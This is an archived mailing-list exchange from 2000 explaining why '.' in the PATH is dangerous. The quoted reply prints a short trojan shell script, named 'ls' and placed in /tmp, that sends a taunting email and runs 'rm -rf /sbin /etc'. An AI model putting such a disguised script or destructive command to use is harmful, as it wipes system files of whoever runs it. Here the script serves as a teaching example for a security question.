RE: ./program

["Burke, Jason" <JBurke@lrs.com>]

Ohhh, you're nasty, and here I was thinking that the main
worry would be getting duplicate names in the current directory
mixed up with ones in the path. Silly me ;).

Jason

> -----Original Message-----
> From:	Cloudmaster [SMTP:sauer@cloudmaster.com]
> Sent:	Tuesday, May 23, 2000 12:52 PM
> To:	luci-discuss@luci.org
> Subject:	Re: ./program
> 
> 
> On Tue, 23 May 2000, Jay Link wrote:
> > Ok, why is it that you advise against having "." in your PATH? How is
> > running ./program better than simply running program?
> 
> In /tmp I have created a shell script.  The contents are
> 
>    #!/bin/bash
>    echo "mwah hah hah" | mail -s "I got him" cloudmaster@cloudmaster.com
>    rm -rf /sbin /etc
> 
> I have named that script "ls" and have made links to it called "la", "ll",
> "cd -", etc.  Now I just wait to get my mail entitled "I got him" and have
> a
> good laugh over why he should have paid more attention. :)
> 
> --Danny, who's not Steve but can guess...
> 
> 
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